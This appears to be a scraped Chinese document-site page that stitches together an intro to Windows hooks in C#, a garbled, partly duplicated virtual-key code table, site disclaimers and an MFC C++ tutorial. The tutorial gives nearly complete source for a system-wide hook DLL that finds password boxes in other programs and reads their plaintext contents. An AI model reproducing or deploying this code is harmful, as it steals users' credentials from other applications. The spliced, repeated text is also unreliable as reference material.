所以Hook就可以实现在键盘/⿏标响应后,窗⼝处理消息之前,就对此消息进⾏处理,⽐如监听键盘输⼊,⿏标点击坐标等等。
某些盗号⽊马就是Hook了指定的进程,从⽽监听键盘输⼊了什么内容,进⽽盗取账户密码。
C# Hook 我们知道C#是运⾏在.NET平台之上,⽽且是基于CLR动态运⾏的,所以只能操作封装好的函数,且⽆法直接操作内存数据。
⽽且在C#常⽤的功能中,并未封装Hook相关的类与⽅法,所以如果⽤C#实现Hook,必须采⽤调⽤WindowsAPI的⽅式进⾏实现。
WindowsAPI函数属于⾮托管类型的函数,我们在调⽤时必须遵循以下⼏步: 1、查找包含调⽤函数的DLL,如User32.dll,Kernel32.dll等。
2、将该DLL加载到内存中,并注明⼊⼝ 3、将所需参数转化为C#存在的类型,如指针对应Intptr,句柄对应int类型等等 4、调⽤函数 我们本篇需要使⽤的函数有以下⼏个: SetWindowsHookEx ⽤于安装钩⼦ UnhookWindowsHookEx ⽤于卸载钩⼦ CallNextHookEx 执⾏下⼀个钩⼦ 详细API介绍请参考MSDN官⽅声明 接下来在C#中需要⾸先声明此API函数:[DllImport("user32.dll",CharSet=CharSet.Auto,CallingConvention=CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, HookProc lpfn,IntPtr hInstance, int threadId);[DllImport("user32.dll",CharSet=CharSet.Auto,CallingConvention=CallingConvention.StdCall)]public static extern bool UnhookWindowsHookEx(int idHook);[DllImport("user32.dll",CharSet=CharSet.Auto,CallingConvention=CallingConvention.StdCall)]public static extern int CallNextHookEx(int idHook, int nCode,IntPtr wParam, IntPtr lParam); 声明后即可实现调⽤,SetWindowsHookEx()把⼀个应⽤程序定义的钩⼦⼦程安装到钩⼦链表中,SetWindowsHookEx函数总是在Hook链的开头安装Hook⼦程。
键盘鼠标对应码表

键盘鼠标对应码表常数名称十六进制值十进制值对应按键VK_LBUTTON011鼠标的左键VK_RBUTTON022鼠标的右键VK-CANCEL033Ctrl+Break通常不需要处理VK_MBUTTON044鼠标的中键三按键鼠标VK_BACK088Backspace键VK_TAB099Tab键VK_CLEAR0C12Clear键Num Lock关闭时的数字键盘5 VK_RETURN0D13Enter键VK_SHIFT1016Shift键VK_CONTROL1117Ctrl键VK_MENU1218Alt键VK_PAUSE1319Pause键VK_CAPITAL1420Caps Lock键VK_ESCAPE1B27Ese键VK_SPACE2032Spacebar键VK_PRIOR2133Page Up键VK_NEXT2234Page Domw键VK_END2335End键VK_HOME2436Home键VK_LEFT2537LEFT ARROW 键←VK_UP2638UP ARROW键↑VK_RIGHT2739RIGHT ARROW键→VK_DOWN2840DOWN ARROW键↓VK_Select2941Select键VK_PRINT2A42VK_EXECUTE2B43EXECUTE键VK_SNAPSHOT2C44Print Screen键抓屏VK_Insert2D45Ins键Num Lock关闭时的数字键盘0 VK_Delete2E46Del键Num Lock关闭时的数字键盘. VK_HELP2F47Help键VK_030480键VK_131491键VK_232502键VK_333513键VK_434524键VK_535535键VK_636546键VK_737557键VK_838568键VK_939579键VK_A4165A键VK_B4266B键VK_C4367C键VK_D4468D键VK_E4569E键VK_F4670F键VK_G4771G键VK_H4872H键VK_I4973I键VK_J4A74J键VK_K4B75K键VK_L4C76L键VK_M4D77M键VK_N4E78N键VK_O4F79O键VK_P5080P键VK_Q5181Q键VK_R5282R键VK_S5383S键VK_T5484T键VK_U5585U键VK_V5686V键VK_W5787W键VK_X5888X键VK_Y5989Y键VK_Z5A90Z键VK_NUMPAD06096数字键0键 VK_NUMPAD16197数字键1键 VK_NUMPAD26298数字键2键 VK_NUMPAD36299数字键3键 VK_NUMPAD464100数字键4键 VK_NUMPAD565101数字键5键VK_NUMPAD666102数字键6键VK_NUMPAD767103数字键7键VK_NUMPAD868104数字键8键VK_NUMPAD969105数字键9键VK_MULTIPLY6A106数字键盘上的*键 VK_ADD6B107数字键盘上的+键VK_SEPARATOR6C108Separator键VK_SUBTRACT6D109数字键盘上的-键 VK_DECIMAL6E110数字键盘上的.键 VK_DIVIDE6F111数字键盘上的/键 VK_F170112F1键VK_F271113F2键VK_F372114F3键VK_F473115F4键VK_F574116F5键VK_F675117F6键VK_F776118F7键VK_F877119F8键VK_F978120F9键VK_F1079121F10键VK_F117A122F11键VK_F127B123F12键VK_NUMLOCK90144Num Lock 键VK_SCROLL91145Scroll Lock键上面没有提到的:都在大键盘VK_LWIN91左win键VK_RWIN92右win键VK_APPS93右Ctrl左边键,点击相当于点击鼠标右键,会弹出快捷菜单 186;分号187=键188,键逗号189-键减号190.键句号191/键192`键Esc下面219[键220\键221]键222‘键引号delphi虚拟键码对应关键VK_LBUTTON鼠标左键VK_RBUTTON鼠标右键VK_CANCEL控制+休息VK_MBUTTON鼠标中键VK_BACK Backspace键VK_TAB Tab键VK_CLEAR清除主要VK_RETURN Enter键VK_SHIFT Shift键VK_CONTROL Ctrl键VK_MENU Alt键VK_PAUSE暂停关键VK_CAPITAL Caps Lock键 VK_KANA可与输入法VK_HANGUL可与输入法VK_JUNJA可与输入法VK_FINAL可与输入法VK_HANJA可与输入法VK_KANJI可与输入法VK_CONVERT可与输入法VK_NONCONVERT可与输入法 VK_ACCEPT可与输入法VK_MODECHANGE可与输入法 VK_ESCAPE Esc键VK_SPACE空间酒吧VK_PRIOR页键VK_NEXT下一页关键VK_END END键VK_HOME主页关键VK_LEFT左箭头键VK_UP向上键VK_RIGHT右箭头键VK_DOWN下箭头键VK_SELECT选择关键VK_PRINT打印键键盘的具体VK_EXECUTE执行关键VK_SNAPSHOT Print Screen键 VK_INSERT插入关键VK_DELETE Delete键VK_HELP帮助关键VK_LWIN左Windows键微软键盘 VK_RWIN右Windows键微软键盘 VK_APPS应用关键微软键盘VK_NUMPAD0 0键数字键盘VK_NUMPAD1 1键数字键盘VK_NUMPAD2 2键数字键盘VK_NUMPAD3 3键数字键盘VK_NUMPAD4 4键数字键盘VK_NUMPAD5 5键数字键盘VK_NUMPAD6 6键数字键盘VK_NUMPAD7 7键数字键盘VK_NUMPAD8 8键数字键盘VK_NUMPAD9 9键数字键盘VK_MULTIPLY多键数字键盘VK_ADD添加键数字键盘VK_SEPARATOR分离键数字键盘 VK_SUBTRACT减去键数字键盘 VK_DECIMAL小数点键数字键盘 VK_DIVIDE鸿沟键数字键盘VK_F1 F1键VK_F2 F2键VK_F3 F3的关键VK_F4 F4键VK_F5 F5键VK_F6 F6键VK_F7 F7键VK_F8 F8键VK_F9 F9键VK_F10 F10键关键VK_F11 F11键VK_F12 F12键VK_F13 F13键VK_F14 F14键VK_F15 F15键VK_F16 F16键VK_F17 F17键VK_F18 F18键VK_F19 F19键VK_F20 F20键VK_F21 F21键VK_F22 F22键VK_F23 F23键VK_F24 F24键VK_NUMLOCK数Lock键 VK_SCROLL滚动Lock键VK_LSHIFT左Shift键仅用于GetAsyncKeyState和GetKeyState VK_RSHIFT右Shift键仅用于GetAsyncKeyState和GetKeyState VK_LCONTROL左Ctrl键仅用于GetAsyncKeyState和GetKeyState VK_RCONTROL右Ctrl键仅用于GetAsyncKeyState和GetKeyState VK_LMENU左Alt键仅用于GetAsyncKeyState和GetKeyStateVK_RMENU右Alt键仅用于GetAsyncKeyState和GetKeyStateVK_PROCESSKEY工艺关键VK_ATTN经办关键VK_CRSEL CrSel关键VK_EXSEL ExSel关键VK_EREOF擦除EOF分析关键VK_PLAY发挥关键VK_ZOOM变焦关键VK_NONAME保留以供将来使用VK_PA1 PA1关键VK_OEM_CLEAR清除主要标签数: 1 “ F14键VK_F15 F15键VK_F16 F16键VK_F17 F17键VK_F18 F18键VK_F19 F19键VK_F20 F20键VK_F21 F21键VK_F22 F22键VK_F23 F23键VK_F24 F24键VK_NUMLOCK数Lock键VK_SCROLL滚动Lock键VK_LSHIFT左Shift键仅用于GetAsyncKeyState和GetKeyState VK_RSHIFT右Shift键仅用于GetAsyncKeyState和GetKeyState VK_LCONTROL左Ctrl键仅用于GetAsyncKeyState和GetKeyState VK_RCONTROL右Ctrl键仅用于GetAsyncKeyState和GetKeyState VK_LMENU左Alt键仅用于GetAsyncKeyState和GetKeyStateVK_RMENU右Alt键仅用于GetAsyncKeyState和GetKeyStateVK_PROCESSKEY工艺关键VK_ATTN经办关键VK_CRSEL CrSel关键VK_EXSEL ExSel关键VK_EREOF擦除EOF分析关键VK_PLAY发挥关键VK_ZOOM变焦关键VK_NONAME保留以供将来使用VK_PA1 PA1关键VK_OEM_CLEAR清除主要感谢您的阅读,祝您生活愉快。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
利用鼠标键盘钩子截获密码。
源码示例:/soft/GetPass_Src.rar钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。
掌握钩子的编程方法是很有必要的钩子分类:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息3、WH_DEBUG 调试钩子4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL5、WH_JOURNALRECORD 监视和记录输入事件6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件7、WH_KEYBOARD 键盘钩子9、WH_KEYBOARD_LL 低层键盘钩子10、WH_MOUSE 鼠标钩子11、WH_MOUSE_LL 底层鼠标钩子12、WH_SHELL 外壳钩子13、WH_MSGFILTER 和WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetWindowsHookEx安装钩子。
其函数原型为:HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )idHook表示钩子类型,它是和钩子函数类型一一对应的。
如,WH_KEYBOARD,WH_MOUSE。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。
对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。
(系统钩子必须在DLL中)dwThreadId 指定钩子所监视的线程的线程号。
对于全局钩子,该参数为NULL。
SetWindowsHookEx返回所安装的钩子句柄。
卸载钩子调用函数BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子定义钩子函数钩子函数是一种特殊的回调函数。
钩子监视的特定事件发生后,系统会调用钩子函数进行处理。
一般为下:LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。
nCode 包含有关消息本身的信,比如是否从消息队列中移出。
实例:下面我们通过安装鼠标钩子。
和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。
1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:class AFX_EXT_CLASS CGetPassHook : public CObject{public:BOOL StopHook();BOOL StartHook(HWND hwnd);CGetPassHook();virtual ~CGetPassHook();};3:加入全局共享数据,如下:#pragma data_seg("ShareData")HHOOK hKeyBoardHook=NULL; file://keyboar hookHHOOK hMouseHook=NULL; file://mouse hookHINSTANCE glhInstance=NULL; file://globle instanceHWND hOutPutWnd=NULL; file://Display Pass Wnd#pragma data_seg()4:加入鼠标,键盘钩子处理函数,如下:LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) { file://鼠标钩子得理函数LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;if(nCode>=0){HWND hTargetHwnd=lpMouse->hwnd; file://得到鼠标所在窗口句柄if(hTargetHwnd){LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式if(style&ES_PASSWORD) file://如果是密码框{char szPass[255];::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);file://得到密码::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file://显示密码}}}return CallNextHookEx(hMouseHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。
}LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) { file://keyboard hook procif(nCode>=0){HWND hTargetHwnd=GetActiveWindow(); file://get active windowif(hTargetHwnd)EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口}return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。
}这里要介绍下EnumChildWindows函数,原形如下:BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROClpEnumFunc,LPARAM lParam);hWndParent:为枚举窗口的句柄lpEnumFunc:枚举函数的地址,lParam:这里为05:加入枚举窗口的函数。
如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam){ file://enum the child window,find passeditif(hwnd){LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLEif(style&ES_PASSWORD) file://是密码框{char szPass[255];::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示return TRUE;}}return TRUE;}6:在DEF文件中定义段属性:(这步很重要)SECTIONSmydata READ WRITE SHARED7:完成StartHook,StopHook函数,启动/关闭钩子,如下:BOOL CGetPassHook::StartHook(HWND hwnd){ file://install hoookhMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);file://mouse hookhKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); file://keyboard hookif(hMouseHook&&hKeyBoardHook){hOutPutWnd=hwnd; file://显示密码的句柄return TRUE;}return FALSE;}BOOL CGetPassHook::StopHook(){ file://unstall hookBOOL mHook=UnhookWindowsHookEx(hMouseHook);BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);if(mHook&&kHook)return TRUE;return FALSE;}8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:extern HINSTANCE glhInstance; file://记得这里extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){UNREFERENCED_PARAMETER(lpReserved);if (dwReason == DLL_PROCESS_ATTACH){TRACE0("GETPASS.DLL Initializing!\n");if (!AfxInitExtensionModule(GetPassDLL, hInstance))return 0;new CDynLinkLibrary(GetPassDLL);glhInstance=hInstance; file://得到句柄}else if (dwReason == DLL_PROCESS_DETACH){TRACE0("GETPASS.DLL Terminating!\n");AfxTermExtensionModule(GetPassDLL);}return 1; // ok}9:编译,完成DLL部分,下面建立APP部分。
如下:1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。